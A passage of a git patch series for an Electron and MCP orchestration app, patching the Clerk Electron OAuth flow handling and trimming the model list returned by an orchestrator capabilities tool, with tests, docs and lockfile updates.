disposePendingOAuthFlow(new Error("Clerk: OAuth flow was replaced by a new one.")); + const window = electron.BrowserWindow.fromWebContents(event.sender); + const callbackPromise = new Promise((resolve, reject) => { + pendingOAuthFlow = { +@@ -109,10 +109,13 @@ function setupOAuthTransportIpcHandlers(options) { + window + }; + }); ++ const flow = pendingOAuthFlow; ++ // A newer flow can reject this one before it is returned below. ++ callbackPromise.catch(() => {}); + try { + await electron.shell.openExternal(url); + } catch (err) { +- disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); ++ if (pendingOAuthFlow === flow) disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); + } + return callbackPromise; + }); +diff --git a/dist/cjs/preload/index.js b/dist/cjs/preload/index.js +index 310c21a720e7b5da06ee301f6b51597f081a8179..3518d29e786258065bc5ab92b664ea06dc99b659 100644 +--- a/dist/cjs/preload/index.js ++++ b/dist/cjs/preload/index.js +@@ -33,7 +33,7 @@ function exposeClerkBridge(options) { + }, + oauthTransport: { + getRedirectUrl: () => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.getRedirectUrl), +- open: (url) => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, url) ++ open: (options?.wrapOAuthOpen ?? ((open) => open))((url) => electron.ipcRenderer.invoke(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, url)) + } + }; + if (process.contextIsolated) electron.contextBridge.exposeInMainWorld("__clerk_internal_electron", bridge); +diff --git a/dist/esm/index.js b/dist/esm/index.js +index 29284ea0e6325afc72024ec8c2e69ab3cb78ad00..80c64fd8dbaefb4a393cc814a273620f77ca76c6 100644 +--- a/dist/esm/index.js ++++ b/dist/esm/index.js +@@ -94,8 +94,8 @@ function setupOAuthTransportIpcHandlers(options) { + }); + ipcMain.handle(OAUTH_TRANSPORT_CHANNELS.open, async (event, url) => { + if (!isMainFrameEvent(event)) throw new Error("Clerk: OAuth request did not originate from a window's main frame."); +- if (pendingOAuthFlow) throw new Error("Clerk: an OAuth flow is already pending."); + assertExternalOAuthUrl(url); ++ disposePendingOAuthFlow(new Error("Clerk: OAuth flow was replaced by a new one.")); + const window = BrowserWindow.fromWebContents(event.sender); + const callbackPromise = new Promise((resolve, reject) => { + pendingOAuthFlow = { +@@ -108,10 +108,13 @@ function setupOAuthTransportIpcHandlers(options) { + window + }; + }); ++ const flow = pendingOAuthFlow; ++ // A newer flow can reject this one before it is returned below. ++ callbackPromise.catch(() => {}); + try { + await shell.openExternal(url); + } catch (err) { +- disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); ++ if (pendingOAuthFlow === flow) disposePendingOAuthFlow(err instanceof Error ? err : new Error(String(err))); + } + return callbackPromise; + }); +diff --git a/dist/esm/preload/index.js b/dist/esm/preload/index.js +index 4a131a7d148fb402fe5e04336ccf7398723501b4..110dab808a7c6a1a7664dc5d9ab254af2fa4c4bc 100644 +--- a/dist/esm/preload/index.js ++++ b/dist/esm/preload/index.js +@@ -32,7 +32,7 @@ function exposeClerkBridge(options) { + }, + oauthTransport: { + getRedirectUrl: () => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.getRedirectUrl), +- open: (url) => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.open, url) ++ open: (options?.wrapOAuthOpen ?? ((open) => open))((url) => ipcRenderer.invoke(OAUTH_TRANSPORT_CHANNELS.open, url)) + } + }; + if (process.contextIsolated) contextBridge.exposeInMainWorld("__clerk_internal_electron", bridge); +diff --git a/dist/types/shared/types.d.ts b/dist/types/shared/types.d.ts +index ed127cc9e02808600b7f51dd71b278e223180534..96b6cc803a4e245f9966237003511b3cbe2121c8 100644 +--- a/dist/types/shared/types.d.ts ++++ b/dist/types/shared/types.d.ts +@@ -40,6 +40,14 @@ export type ExposeClerkBridgeOptions = { + * Exposes the native passkey bridge to the renderer. Requires `createClerkBridge({ passkeys: true })`. + */ + passkeys?: boolean; ++ /** ++ * Wraps the renderer's OAuth open call, for example to let the app cancel a pending flow. ++ */ ++ wrapOAuthOpen?: (open: (url: string) => Promise<{ ++ callbackUrl: string; ++ }>) => (url: string) => Promise<{ ++ callbackUrl: string; ++ }>; + }; + export type ClerkBridge = { + /** diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index ad93d5d4a425..6ed6205f5dbc 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -327,6 +327,7 @@ packageExtensionsChecksum: sha256-EowbsmlBFaoO0Ypufw901RnvdyjKG5dcdk2FRbc7Dr0= pnpmfileChecksum: sha256-lS/yS+IvX/sj4KLdjVeRsq/hRipJMILKWjIbzIC+czo= patchedDependencies: + '@clerk/electron@0.1.1': 6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1 '@clerk/expo-native-components@0.2.0': 7a808b92da8460750b85818552e13be3fb73d111691c7db76965970351e124e4 '@effect/vitest@4.0.5': 2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02 '@expo/fingerprint@0.21.5': 8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1 @@ -389,7 +390,7 @@ importers: dependencies: '@clerk/electron': specifier: 0.1.1 - version: 0.1.1(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + version: 0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/electron-passkeys': specifier: 0.0.3 version: 0.0.3 @@ -984,7 +985,7 @@ importers: version: 6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/electron': specifier: 0.1.1 - version: 0.1.1(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + version: 0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/react': specifier: 6.17.8 version: 6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0) @@ -13603,7 +13604,7 @@ snapshots: '@clerk/electron-passkeys-win32-arm64-msvc': 0.0.3 '@clerk/electron-passkeys-win32-x64-msvc': 0.0.3 - '@clerk/electron@0.1.1(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@clerk/electron@0.1.1(patch_hash=6e7944f61680e5d0caa0ed1ec69b43265a76d74733e77ee73a227fe6d6df02e1)(@clerk/electron-passkeys@0.0.3)(electron-store@8.2.0)(electron@44.9.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': dependencies: '@clerk/clerk-js': 6.39.1(react-dom@19.3.0(react@19.3.0))(react@19.3.0) '@clerk/react': 6.17.8(react-dom@19.3.0(react@19.3.0))(react@19.3.0) diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index d87dd95cd060..33e4ddc9efc7 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -333,6 +333,7 @@ patchedDependencies: alchemy@2.0.0-beta.80: patches/alchemy@2.0.0-beta.80.patch expo-audio@58.0.9: patches/expo-audio@58.0.9.patch expo-network@58.0.3: patches/expo-network@58.0.3.patch + "@clerk/electron@0.1.1": patches/@clerk__electron@0.1.1.patch "@clerk/expo-native-components@0.2.0": patches/@clerk__expo-native-components@0.2.0.patch "@effect/vitest@4.0.5": patches/@effect__vitest@4.0.5.patch "@expo/metro-config@58.0.14": patches/@expo__metro-config@58.0.14.patch From 680152e27b2a961686389ca69a1557cbb2c55f08 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 06:40:43 -0700 Subject: [PATCH 014/130] fix(server): agents get a short, current model list instead of a 55k-character catalog dump (#22889) Co-authored-by: Claude Opus 5.5 --- .../src/mcp/OrchestratorMcpService.test.ts | 171 ++++++++++++++++++ apps/server/src/mcp/OrchestratorMcpService.ts | 112 +++++++++--- .../src/mcp/toolkits/orchestrator/handlers.ts | 4 +- .../src/mcp/toolkits/orchestrator/tools.ts | 4 +- apps/server/src/provider/model-manifest.json | 6 +- .../orchestrator-mcp-server.md | 8 + packages/contracts/src/orchestratorMcp.ts | 30 ++- .../src/server/orchestrationInstructions.ts | 2 +- .../src/server/openCode2Catalog.ts | 3 + .../src/server/status.test.ts | 66 +++++++ .../provider-opencode/src/server/status.ts | 90 ++++++--- 11 files changed, 440 insertions(+), 56 deletions(-) diff --git a/apps/server/src/mcp/OrchestratorMcpService.test.ts b/apps/server/src/mcp/OrchestratorMcpService.test.ts index 5dbbd24b54ce..bba4e816caca 100644 --- a/apps/server/src/mcp/OrchestratorMcpService.test.ts +++ b/apps/server/src/mcp/OrchestratorMcpService.test.ts @@ -5,6 +5,7 @@ import { EnvironmentId, MessageId, NodeId, + type OrchestratorMcpCapabilitiesResult, OrchestratorMcpTarget, type OrchestrationV2ThreadShell, type ScheduledTask, @@ -1156,6 +1157,176 @@ describe("OrchestratorMcpService provider resolution", () => { }), ); + describe("listed models", () => { + const opencodeInstanceId = ProviderInstanceId.make("opencode"); + const model = (slug: string, extra: Partial = {}) => ({ + slug, + name: slug, + isCustom: false, + capabilities: null, + ...extra, + }); + const opencodeSlugs = Array.from( + { length: 12 }, + (_, index) => `oc/m${String(index + 1).padStart(2, "0")}`, + ); + const catalog: ReadonlyArray = [ + { + ...providerSnapshot({ + instanceId: codexInstanceId, + driver: ProviderDriverKind.make("codex"), + }), + models: [ + model("gpt-6", { + name: "Sol", + capabilities: { + optionDescriptors: [ + { + id: "effort", + label: "Reasoning", + description: "How hard the model thinks.", + type: "select", + options: [ + { id: "low", label: "Low", description: "Fast." }, + { id: "high", label: "High", isDefault: true }, + ], + promptInjectedValues: ["high"], + }, + { id: "fastMode", label: "Fast", type: "boolean" }, + { + id: "agent", + label: "Agent", + type: "select", + options: [{ id: "build", label: "Build" }], + currentValue: "build", + }, + ], + }, + }), + model("gpt-5", { isLegacy: true }), + model("gpt-4", { isLegacy: true }), + model("gpt-3", { name: "GPT-3", isLegacy: true }), + model("my-alpha", { isCustom: true }), + ], + }, + { + ...providerSnapshot({ + instanceId: opencodeInstanceId, + driver: ProviderDriverKind.make("opencode"), + }), + models: [ + ...opencodeSlugs.map((slug) => model(slug, { isLegacy: slug === "oc/m03" })), + model("oc-custom", { isCustom: true }), + ], + }, + ]; + + const capabilitiesWith = (search?: string) => + Effect.gen(function* () { + const service = yield* OrchestratorMcpService.OrchestratorMcpService; + return yield* service.capabilities(scope, search === undefined ? {} : { search }); + }).pipe( + Effect.provide( + layerOrchestratorService.pipe( + Layer.provide( + Layer.mergeAll( + NodeServices.layer, + Layer.mock(ThreadManagementService.ThreadManagementService)({ + getThreadRecords: () => + Effect.succeed( + parentProjection([], { instanceId: codexInstanceId, model: "gpt-3" }), + ), + }), + ServerSettings.layerTest({ + favorites: [ + { provider: codexInstanceId, model: "gpt-4" }, + { provider: opencodeInstanceId, model: "oc/m10" }, + ], + providerModelPreferences: { + [opencodeInstanceId]: { hiddenModels: ["oc/m02"], modelOrder: ["oc/m12"] }, + }, + }), + providerRegistryLayer(catalog), + adapterRegistryLayer([codexInstanceId, opencodeInstanceId]), + Layer.mock(ProjectService.ProjectService)({}), + Layer.mock(SecretRequests.SecretRequests)({}), + Layer.mock(ScheduledTaskService.ScheduledTaskService)({}), + ), + ), + ), + ), + ); + + const listing = (capabilities: OrchestratorMcpCapabilitiesResult) => + capabilities.providers.map((provider) => ({ + id: provider.providerInstanceId, + models: provider.models.map((entry) => entry.id), + omitted: provider.omittedModels ?? 0, + })); + + it.effect( + "skips legacy models, lists the first 8 of large catalogs, and keeps pinned models", + () => + Effect.gen(function* () { + assert.deepEqual(listing(yield* capabilitiesWith()), [ + // gpt-4 is a favorite and gpt-3 is the caller's model; legacy gpt-5 is left out. + { id: codexInstanceId, models: ["gpt-6", "gpt-4", "gpt-3", "my-alpha"], omitted: 1 }, + { + id: opencodeInstanceId, + models: [ + "oc/m12", + "oc/m01", + "oc/m04", + "oc/m05", + "oc/m06", + "oc/m07", + "oc/m08", + "oc/m09", + "oc/m10", + "oc-custom", + ], + omitted: 2, + }, + ]); + }), + ); + + it.effect("search matches every word and caps each provider's matches", () => + Effect.gen(function* () { + assert.deepEqual(listing(yield* capabilitiesWith("GPT 5")), [ + { id: codexInstanceId, models: ["gpt-5"], omitted: 0 }, + { id: opencodeInstanceId, models: [], omitted: 0 }, + ]); + const opencode = listing(yield* capabilitiesWith("oc/m"))[1]; + assert.deepEqual(opencode, { + id: opencodeInstanceId, + models: ["oc/m12", "oc/m01", "oc/m03", "oc/m04", "oc/m05", "oc/m06", "oc/m07", "oc/m08"], + omitted: 3, + }); + }), + ); + + it.effect("describes models by id, distinct label, and option values", () => + Effect.gen(function* () { + const codex = (yield* capabilitiesWith()).providers[0]; + assert.deepEqual(codex?.models.slice(0, 4), [ + { + id: "gpt-6", + label: "Sol", + options: [ + { id: "effort", values: ["low", "high"], default: "high" }, + { id: "fastMode", values: [false, true] }, + { id: "agent", values: ["build"], default: "build" }, + ], + }, + { id: "gpt-4" }, + { id: "gpt-3" }, + { id: "my-alpha" }, + ]); + }), + ); + }); + it.effect("rejects delegation to a provider without a registered adapter", () => Effect.gen(function* () { const forkOnlyInstanceId = ProviderInstanceId.make("forkOnly"); diff --git a/apps/server/src/mcp/OrchestratorMcpService.ts b/apps/server/src/mcp/OrchestratorMcpService.ts index eca639ed7139..78ad1a5d5c9a 100644 --- a/apps/server/src/mcp/OrchestratorMcpService.ts +++ b/apps/server/src/mcp/OrchestratorMcpService.ts @@ -13,7 +13,9 @@ import { type OrchestrationV2ThreadLaunchWorkspaceStrategy, type OrchestrationV2TurnItem, OrchestratorMcpFailure, + type OrchestratorMcpCapabilitiesInput, type OrchestratorMcpCapabilitiesResult, + type OrchestratorMcpModelOption, type OrchestratorMcpCreateThreadsInput, type OrchestratorMcpCreateThreadsResult, type OrchestratorMcpCreatedThread, @@ -59,9 +61,11 @@ import { type ScheduledTask, type ScheduledTaskUpsertInput, type ServerProvider, + type ServerProviderModel, ThreadId, isOrchestrationV2WorkActive, } from "@t3tools/contracts"; +import { getProviderOptionCurrentValue } from "@t3tools/shared/model"; import { runRanAfter } from "@t3tools/shared/orchestrationV2ThreadError"; import { normalizeThreadPullRequestKey, @@ -136,6 +140,7 @@ type TerminalTaskStatus = Extract< export interface OrchestratorMcpServiceShape { readonly capabilities: ( scope: McpInvocationScope, + input?: OrchestratorMcpCapabilitiesInput, ) => Effect.Effect; readonly delegateTask: ( scope: McpInvocationScope, @@ -303,6 +308,61 @@ function scheduledTaskSummary(task: ScheduledTask, mayRun: boolean): Orchestrato }; } +/** + * Large catalogs (OpenCode, Cursor, Pi) can list hundreds of models, so agents + * get a short list by default and search for the rest. These providers have + * small official catalogs, so all their current models are listed. + */ +const FULL_CATALOG_DRIVERS: ReadonlySet = new Set(["codex", "claudeAgent", "muse", "grok"]); +const LISTED_MODEL_LIMIT = 8; + +/** + * Picks the models orchestrator_capabilities shows for one provider. Hidden + * models never appear. With search terms, lists matches; otherwise lists pinned + * models (custom, favorite, the caller's own) plus the provider's non-legacy + * models, or only the first few in the user's model order for large catalogs. + */ +function listCapabilityModels(input: { + readonly provider: ServerProvider; + readonly preferences: + | { readonly hiddenModels: ReadonlyArray; readonly modelOrder: ReadonlyArray } + | undefined; + readonly isPinned: (model: ServerProviderModel) => boolean; + readonly searchTerms: ReadonlyArray; +}) { + const rank = new Map(input.preferences?.modelOrder.map((slug, index) => [slug, index])); + const visible = input.provider.models + .filter((model) => model.isCustom || !input.preferences?.hiddenModels.includes(model.slug)) + .toSorted((a, b) => (rank.get(a.slug) ?? rank.size) - (rank.get(b.slug) ?? rank.size)); + if (input.searchTerms.length > 0) { + const matches = visible.filter((model) => { + const text = `${model.slug} ${model.name} ${model.subProvider ?? ""}`.toLowerCase(); + return input.searchTerms.every((term) => text.includes(term)); + }); + const listed = matches.slice(0, LISTED_MODEL_LIMIT); + return { listed, omitted: matches.length - listed.length }; + } + const current = visible.filter((model) => !model.isLegacy); + const shown = new Set( + FULL_CATALOG_DRIVERS.has(input.provider.driver) + ? current + : current.slice(0, LISTED_MODEL_LIMIT), + ); + const listed = visible.filter((model) => input.isPinned(model) || shown.has(model)); + return { listed, omitted: visible.length - listed.length }; +} + +/** Option ids and allowed values are all a delegating agent needs; labels are UI copy. */ +function capabilityModelOption(descriptor: ProviderOptionDescriptor): OrchestratorMcpModelOption { + const defaultValue = getProviderOptionCurrentValue(descriptor); + return { + id: descriptor.id, + values: + descriptor.type === "boolean" ? [false, true] : descriptor.options.map((choice) => choice.id), + ...(defaultValue === undefined ? {} : { default: defaultValue }), + }; +} + function providerConstraints( provider: ServerProvider | undefined, supportsOrchestrationV2: boolean, @@ -2011,19 +2071,20 @@ const make = Effect.gen(function* () { return { status, secretRef: secretRef.value }; }), - capabilities: Effect.fn("OrchestratorMcpService.capabilities")(function* (scope) { + capabilities: Effect.fn("OrchestratorMcpService.capabilities")(function* (scope, input = {}) { const { parent, limits } = yield* loadCaller(scope); const providers = yield* loadProviders; const orchestrationCapableInstanceIds = yield* loadOrchestrationCapableInstanceIds(); - const modelPreferences = yield* serverSettings.getSettings.pipe( - Effect.map((settings) => settings.providerModelPreferences ?? {}), + const settings = yield* serverSettings.getSettings.pipe( Effect.mapError(() => failure("orchestration_error", "Unable to read server settings.")), ); + const inherited = parent?.thread.modelSelection; + const searchTerms = input.search?.toLowerCase().split(/\s+/) ?? []; return { parentThreadId: parent?.thread.id ?? null, - inheritedProviderInstanceId: parent?.thread.modelSelection.instanceId ?? null, - inheritedModel: parent?.thread.modelSelection.model ?? null, - inheritedOptions: parent?.thread.modelSelection.options ?? [], + inheritedProviderInstanceId: inherited?.instanceId ?? null, + inheritedModel: inherited?.model ?? null, + inheritedOptions: inherited?.options ?? [], runtimeMode: limits.runtimeMode, interactionMode: limits.interactionMode, providers: providers.map((provider) => { @@ -2031,24 +2092,33 @@ const make = Effect.gen(function* () { provider, orchestrationCapableInstanceIds.has(provider.instanceId), ); + const { listed, omitted } = listCapabilityModels({ + provider, + preferences: settings.providerModelPreferences?.[provider.instanceId], + searchTerms, + isPinned: (model) => + model.isCustom || + (inherited?.instanceId === provider.instanceId && inherited.model === model.slug) || + (settings.favorites ?? []).some( + (favorite) => + favorite.provider === provider.instanceId && favorite.model === model.slug, + ), + }); return { providerInstanceId: provider.instanceId, driverKind: provider.driver, - displayName: provider?.displayName ?? null, - models: - provider?.models - .filter( - (model) => - model.isCustom || - !modelPreferences[provider.instanceId]?.hiddenModels.includes(model.slug), - ) - .map((model) => ({ - id: model.slug, - label: model.name ?? null, - ...(model.capabilities?.optionDescriptors === undefined - ? {} - : { options: model.capabilities.optionDescriptors }), - })) ?? [], + displayName: provider.displayName ?? null, + models: listed.map((model) => { + const options = model.capabilities?.optionDescriptors ?? []; + return { + id: model.slug, + ...(model.name.toLowerCase() === model.slug.toLowerCase() + ? {} + : { label: model.name }), + ...(options.length === 0 ? {} : { options: options.map(capabilityModelOption) }), + }; + }), + ...(omitted === 0 ? {} : { omittedModels: omitted }), ...(provider.supportedRuntimeModes === undefined || provider.supportedRuntimeModes.length === 0 ? {} diff --git a/apps/server/src/mcp/toolkits/orchestrator/handlers.ts b/apps/server/src/mcp/toolkits/orchestrator/handlers.ts index 7c05b330047c..0df604a85011 100644 --- a/apps/server/src/mcp/toolkits/orchestrator/handlers.ts +++ b/apps/server/src/mcp/toolkits/orchestrator/handlers.ts @@ -9,11 +9,11 @@ import * as OrchestratorMcpService from "../../OrchestratorMcpService.ts"; import * as ThreadMetadataMcpService from "../../ThreadMetadataMcpService.ts"; const handlers = { - orchestrator_capabilities: McpToolAccess.reads(() => + orchestrator_capabilities: McpToolAccess.reads((input) => Effect.gen(function* () { const scope = yield* McpInvocationContext.McpInvocationContext; const service = yield* OrchestratorMcpService.OrchestratorMcpService; - return yield* service.capabilities(scope); + return yield* service.capabilities(scope, input); }), ), delegate_task: McpToolAccess.actsAsCaller((input) => diff --git a/apps/server/src/mcp/toolkits/orchestrator/tools.ts b/apps/server/src/mcp/toolkits/orchestrator/tools.ts index 9c24fb62d8e9..111870be9bbd 100644 --- a/apps/server/src/mcp/toolkits/orchestrator/tools.ts +++ b/apps/server/src/mcp/toolkits/orchestrator/tools.ts @@ -1,4 +1,5 @@ import { + OrchestratorMcpCapabilitiesInput, OrchestratorMcpCapabilitiesResult, OrchestrationV2StopWorkflowInput, OrchestratorMcpCreateThreadsInput, @@ -52,7 +53,8 @@ const threadMetadataDependencies = [ const OrchestratorCapabilitiesTool = Tool.make("orchestrator_capabilities", { description: - "List the V2 provider instances and their current models from the same live catalog as the composer, including configured custom models, inherited runtime settings, and app-owned orchestration features available to this caller. For a separate top-level thread in a new or existing worktree, use t3_thread_launch with workspaceStrategy.", + "List the V2 provider instances, a short list of their models from the same live catalog as the composer, inherited runtime settings, and app-owned orchestration features available to this caller. The list has the user's favorite and custom models, your own model, every current Codex, Claude, Muse and Grok model, and the first 8 current models of other providers. Other legacy models are left out. omittedModels counts models left out; pass search, such as 'sonnet 4.6', to find them. delegate_task accepts any catalog model, listed or not. For a separate top-level thread in a new or existing worktree, use t3_thread_launch with workspaceStrategy.", + parameters: OrchestratorMcpCapabilitiesInput, success: OrchestratorMcpCapabilitiesResult, failure: OrchestratorMcpFailure, failureMode: "return", diff --git a/apps/server/src/provider/model-manifest.json b/apps/server/src/provider/model-manifest.json index 54be975b1834..e62f661fcfc2 100644 --- a/apps/server/src/provider/model-manifest.json +++ b/apps/server/src/provider/model-manifest.json @@ -1,6 +1,6 @@ { "version": 1, - "updatedAt": "2026-10-19T07:21:38Z", + "updatedAt": "2026-10-21T06:20:00Z", "compatibility": [ { "driver": "codex", @@ -134,7 +134,9 @@ { "slug": "gpt-5.6-sol", "name": "GPT-5.6 Sol", "status": "legacy" }, { "slug": "gpt-5.6-terra", "name": "GPT-5.6 Terra", "status": "legacy" }, { "slug": "gpt-5.6-luna", "name": "GPT-5.6 Luna", "status": "legacy" }, - { "slug": "gpt-5.5", "name": "GPT-5.5", "status": "legacy" } + { "slug": "gpt-5.5", "name": "GPT-5.5", "status": "legacy" }, + { "slug": "gpt-5.4-mini", "name": "GPT-5.4 Mini", "status": "legacy" }, + { "slug": "gpt-5.3-codex-spark", "name": "GPT-5.3 Codex Spark", "status": "legacy" } ] }, "claudeAgent": { diff --git a/docs/orchestration-v2/orchestrator-mcp-server.md b/docs/orchestration-v2/orchestrator-mcp-server.md index 44aa2492a828..5f312b61bd2a 100644 --- a/docs/orchestration-v2/orchestrator-mcp-server.md +++ b/docs/orchestration-v2/orchestrator-mcp-server.md @@ -207,6 +207,14 @@ Returns: Unavailable providers include model-visible constraints such as missing V2 adapter support, disabled state, missing executable, or missing authentication. +The model list is short on purpose: catalogs such as OpenCode can hold hundreds +of models, and every call lands in the agent's context. Each provider lists +custom, favorite, and the caller's own models, plus all current (non-legacy) +models for Codex, Claude, Muse, and Grok, or the first 8 current models in the +user's model order for other providers. `omittedModels` counts the rest, and the +`search` input finds them, legacy models included. `delegate_task` still accepts +any catalog model. + ### `delegate_task` Creates a T3-owned child thread and immediately dispatches the supplied task diff --git a/packages/contracts/src/orchestratorMcp.ts b/packages/contracts/src/orchestratorMcp.ts index 7d643be91078..bfbfadb9813e 100644 --- a/packages/contracts/src/orchestratorMcp.ts +++ b/packages/contracts/src/orchestratorMcp.ts @@ -37,11 +37,7 @@ import { OrchestrationV2RunStatus, OrchestrationV2TurnItemStatus, } from "./orchestrationV2.ts"; -import { - ProviderOptionDescriptor, - ProviderOptionSelection, - ProviderOptionSelectionValue, -} from "./model.ts"; +import { ProviderOptionSelection, ProviderOptionSelectionValue } from "./model.ts"; import { ProviderDriverKind, ProviderInstanceId } from "./providerInstance.ts"; const OrchestratorMcpPrompt = TrimmedNonEmptyString.check(Schema.isMaxLength(120_000)).annotate({ @@ -507,6 +503,23 @@ export const OrchestratorMcpThreadInterruptResult = Schema.Struct({ }); export type OrchestratorMcpThreadInterruptResult = typeof OrchestratorMcpThreadInterruptResult.Type; +export const OrchestratorMcpCapabilitiesInput = Schema.Struct({ + search: Schema.optional( + TrimmedNonEmptyString.check(Schema.isMaxLength(200)).annotate({ + description: + "Words to match against model ids and labels. Lists matching models instead of the default short list.", + }), + ), +}); +export type OrchestratorMcpCapabilitiesInput = typeof OrchestratorMcpCapabilitiesInput.Type; + +export const OrchestratorMcpModelOption = Schema.Struct({ + id: Schema.String, + values: Schema.Array(ProviderOptionSelectionValue), + default: Schema.optional(ProviderOptionSelectionValue), +}); +export type OrchestratorMcpModelOption = typeof OrchestratorMcpModelOption.Type; + export const OrchestratorMcpProviderCapability = Schema.Struct({ providerInstanceId: ProviderInstanceId, driverKind: ProviderDriverKind, @@ -514,10 +527,13 @@ export const OrchestratorMcpProviderCapability = Schema.Struct({ models: Schema.Array( Schema.Struct({ id: Schema.String, - label: Schema.NullOr(Schema.String), - options: Schema.optional(Schema.Array(ProviderOptionDescriptor)), + /** Omitted when it only restates the id. */ + label: Schema.optional(Schema.String), + options: Schema.optional(Schema.Array(OrchestratorMcpModelOption)), }), ), + /** Models left out of `models`: unlisted visible models, or matches past the cap with `search`. */ + omittedModels: Schema.optional(NonNegativeInt), runtimeModes: Schema.optional(Schema.Array(RuntimeMode)), canRunChildTask: Schema.Boolean, canRunCrossProviderChildTask: Schema.Boolean, diff --git a/packages/provider-core/src/server/orchestrationInstructions.ts b/packages/provider-core/src/server/orchestrationInstructions.ts index f06aacd6a3e1..88053dee9b54 100644 --- a/packages/provider-core/src/server/orchestrationInstructions.ts +++ b/packages/provider-core/src/server/orchestrationInstructions.ts @@ -10,7 +10,7 @@ export const T3_CODE_ORCHESTRATION_SECTIONS: ReadonlyArray = [ The \`t3-code\` MCP server provides app-owned orchestration. Treat these concepts distinctly: -- A delegated task/subagent is child work owned by the current thread. Use \`orchestrator_capabilities\` to discover the current provider/model IDs from the same live catalog as the composer, including configured custom models. Do not treat a native tool's model list as the full list of available subagent models. Prefer native subagent tools for same-provider work only when they support the chosen model and no model options are requested or inherited. Use \`delegate_task\` with that provider instance and model when native tools cannot, including for same-provider work. Also use \`delegate_task\` for cross-provider or explicitly T3-owned child tasks. For a child task that needs a separate checkout, use \`delegate_task\` with \`isolation:"worktree"\` across any provider or model. It starts from the parent local commit and runs project setup; uncommitted edits are not copied. Retain each returned \`taskId\`, and use \`task_status\` or \`task_cancel\` to manage it. The returned \`childThreadId\` is backing storage for the subagent, not the target for starting another delegated review round. +- A delegated task/subagent is child work owned by the current thread. Use \`orchestrator_capabilities\` to discover the current provider/model IDs from the same live catalog as the composer, including configured custom models. It lists a short set of models per provider; pass \`search\` to find others. Do not treat a native tool's model list as the full list of available subagent models. Prefer native subagent tools for same-provider work only when they support the chosen model and no model options are requested or inherited. Use \`delegate_task\` with that provider instance and model when native tools cannot, including for same-provider work. Also use \`delegate_task\` for cross-provider or explicitly T3-owned child tasks. For a child task that needs a separate checkout, use \`delegate_task\` with \`isolation:"worktree"\` across any provider or model. It starts from the parent local commit and runs project setup; uncommitted edits are not copied. Retain each returned \`taskId\`, and use \`task_status\` or \`task_cancel\` to manage it. The returned \`childThreadId\` is backing storage for the subagent, not the target for starting another delegated review round. - \`t3_thread_launch\` and \`create_threads\` create ordinary top-level T3 conversations. Use them only when the user explicitly asks for separate/new/top-level threads or conversations. Never use them merely because the user said "subagent" or requested parallel delegated work. - For every T3 delegated review round, call \`delegate_task\` again. Include the original brief, prior findings, responses, and unresolved objections in each new task prompt. Track each round by its own \`taskId\`. Use a distinct \`clientRequestId\` per round, stable across retries of that round. Do not use \`t3_thread_send\` on \`childThreadId\` to continue a delegated review.`, `- \`schedule_task\` creates persistent recurring work in the app scheduler. Pass \`schedule\` as a structured object, never as JSON text: \`{"type":"interval","everyMs":3600000}\` for an interval, or \`{"type":"fixed_time","timeOfDay":"09:00","weekdays":[1,2,3,4,5]}\` for a wall-clock schedule, or \`{"type":"webhook"}\` to run on each request to the returned \`webhookUrl\` (the run sees the request only through \`{{body.path}}\`-style placeholders in the prompt). By default runs return to the current thread, which suits orchestrating: each trigger arrives here and you delegate or dedupe; set \`bindToCurrentThread=false\` only when the user wants a fresh thread for every run. After scheduling a timer, report the returned cadence and next run time; for a webhook, report its \`webhookUrl\`, or say T3 Connect remote access is needed if it is missing. diff --git a/packages/provider-opencode/src/server/openCode2Catalog.ts b/packages/provider-opencode/src/server/openCode2Catalog.ts index 6c6c30846e44..2a4152291d22 100644 --- a/packages/provider-opencode/src/server/openCode2Catalog.ts +++ b/packages/provider-opencode/src/server/openCode2Catalog.ts @@ -44,6 +44,9 @@ export const loadOpenCode2Catalog = ( name: model.name, ...(providerName ? { providerName } : {}), variants: model.variants.map((variant) => ({ id: variant.id })), + family: model.family, + released: model.time.released, + deprecated: model.status === "deprecated", }; }); }), diff --git a/packages/provider-opencode/src/server/status.test.ts b/packages/provider-opencode/src/server/status.test.ts index 69ef0b90b278..f55e07d2fa02 100644 --- a/packages/provider-opencode/src/server/status.test.ts +++ b/packages/provider-opencode/src/server/status.test.ts @@ -665,6 +665,72 @@ it.layer(layerTest)("checkOpenCodeProviderStatus", (it) => { }), ); + it.effect("marks older releases of a family and deprecated models as legacy", () => + 